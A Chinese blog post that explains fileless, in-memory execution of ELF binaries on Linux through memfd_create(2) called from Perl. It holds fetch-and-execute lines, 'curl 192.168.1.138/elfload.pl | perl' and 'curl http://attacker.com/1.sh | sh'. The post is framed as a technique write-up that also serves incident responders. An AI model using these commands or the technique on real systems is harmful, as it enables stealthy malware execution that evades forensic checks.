01—简介

在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe 抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html,思路比较奇特,这里分享给大家,当然本文大部分内容都来自于这篇文章,大家也可以直接去读原文。

02—技术核心

这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改,截断,内存映射等等,但不同的是,它存在于RAM当中。这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。

对于该匿名文件的命名man信息中的解释如下:


The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/.  The displayed name is always prefixed with memfd: and serves only for debugging purposes.  Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.


类似于下面这样,当我们在虚拟文件系统中查看该进程信息时,在memfd:后面会出现对于该文件名称,甚至对于匿名文件的命名可以是空的。

这里我们已经知道调用memfd_create(2)可以达到我们的目的,但是该怎么调用呢?perl语言中提供了一个syscall()方法可以满足我们的需求,当然python也可以,但是python实现该功能需要依赖第三方库。

memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。当然我们使用perl传递memfd_create(2)的原始系统调用号和MEMFD_CLOEXEC的数字常量, 这两个都可以在/usr/include的头文件中找到。 系统调用号码存储在以_NR开头的#define中。

这里我们已经获取到了memfd_create(2)的系统调用码(在64位操作系统中为319)和MFD_CLOEXEC(0x0001U),这时候我们就可以使用perl的syscall函数来调用memfd_create(2) fd = syscall(319, $name, MFD_CLOEXEC))也就是类似于fd = memfd_create($name, MFD_CLOEXEC)

03—EXP实现

这里开始编写perl利用脚本,脚本分为三部分,第一部分创建内存匿名文件并写入ELF文件内容

这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分

第三部分就是执行该文件了,调用exec函数执行该匿名文件

这里我们最后的EXP就生产好了,我们可以目标机上执行

curl 192.168.1.138/elfload.pl | perl

可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

原作者还使用了fork函数进行了一些进程操作,有兴趣的同学可以去了解一下。

参考:

https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

http://man7.org/linux/man-pages/man2/memfd_create.2.html

linux无文件渗透执行elf相关推荐

  1. Linux环境无文件渗透执行ELF:memfd_create、ptrace

    <GDB调试之ptrace实现原理> <C语言程序调用栈:backtrace+backtrace_symbols+backtrace_symbols_fd> <strac ...

  2. Linux无文件木马程序渗透测试复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是Linux无文件木马程序渗透测试复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强 ...

  3. 渗透测试之无文件渗透简单使用-windows

    无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生.说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将pa ...

  4. linux光盘文件的执行,制作光盘运行的Linux--zLinuxOnCD

    zLinuxOnCD是基于RedHat Linux的不用安装和配置就可直接在光盘上运行的Linux系统.这张光盘上已经装好了网络应用程序. OpenOffice软件包和一些多媒体应用程序,可上网浏览网 ...

  5. NO21 Llinux的文件种类与扩展名--文件权限--软硬链接--Linux删除文件原理

    Linux的文件种类与扩展名 一.文件种类: 1.普通文件(regular file)第一个字符为[ - ] 包括: ①纯文本档(ASCII):这是Linux系统中最多的一种文件类型,称为纯文本档.是 ...

  6. linux系统内存执行elf的多种方式

    一.前言 无文件(fileless)恶意软件攻击现在已经越来越流行,这一点并不奇怪,因为这种技术通常不会留下蛛丝马迹.本文的重点不是介绍如何在Windows RAM中执行程序,我们的目标是GNU/Li ...

  7. android游戏基址,Android上可执行ELF文件中的段不能有基址

    Android上可执行ELF文件中的段不能有基址 @(Android研究)[android] [TOC] 场景 我使用Android NDK的编译工具交叉编译qemu项目(编译可在Android上运行 ...

  8. linux创建目录无权限,linux下文件夹权限 linux 创建文件夹没有权限

    linux 给所有文件下文件加权限 更改文件用户组.使用命令chgrp,命令如下. 更改文件所有者.使用命令chown. chown命令可以同时修改所有者和用户组名称(即拥有chgrp的功能),命令如 ...

  9. linux shell 执行多个文件,/etc/profile、~/.bash_profile等几个文件的执行过程

    关于登录linux时,/etc/profile.~/.bash_profile等几个文件的执行过程. 在登录Linux时要执行文件的过程如下: 在 刚登录Linux时,首先启动 /etc/profil ...

最新文章

  1. 基于点云描述子的立体视觉里程计快速鲁棒的位置识别方法
  2. 架构语言ArchiMate -业务层(Business Layer)
  3. Java的日期API真烂
  4. android studio moudel,Android Studio将module变为library
  5. 9-10 原生安装 2
  6. oracle参数文件与启动过程
  7. GitHub上10个有趣的开源小游戏(附加在线演示)
  8. Restorator 导致win8或win8.1 打开程序提示不支持此接口的解决方法
  9. MCU程序布局----优化升级方式
  10. 产品读书《Facebook效应:看Facebook如何打造无与伦比的社交帝国》
  11. 原生JS实现中文简繁切换,引入即可整站变繁体
  12. 春季必买明星款流行春装
  13. 如何想领导说清楚DCMM到底有什么好处?
  14. 使用SSH密钥登录腾讯云主机
  15. 基于MATLAB的人脸识别系统
  16. mysql笛卡尔积查询很慢_浅谈MySQL使用笛卡尔积原理进行多表查询
  17. 简历项目描述过程详解
  18. Python爬取0复仇者联盟3:无限战争0评论并写入Excel
  19. 豆瓣再美好,也只是生活中的一瓣
  20. 魔界战记修复服务器,怪物猎人世界steam坏档修复方法 MHW存档备份修复方法

热门文章

  1. 分布式任务队列 Celery — 实践
  2. 用 Flask 来写个轻博客 (2) — Hello World!
  3. .NET Core 2.1的重大缺陷延长了.NET Core 2.0的寿命
  4. 使用jquery实现的计算器功能
  5. 农民工上网求职事半功倍
  6. 邮件服务器轻松组建 友旺MG1200功能介绍
  7. Android Architecture Components Part2:LiveData
  8. 1055. 集体照 (25)
  9. vue 1.0和vue 2.0的变化和区别
  10. 云计算调查显示 希望与问题同在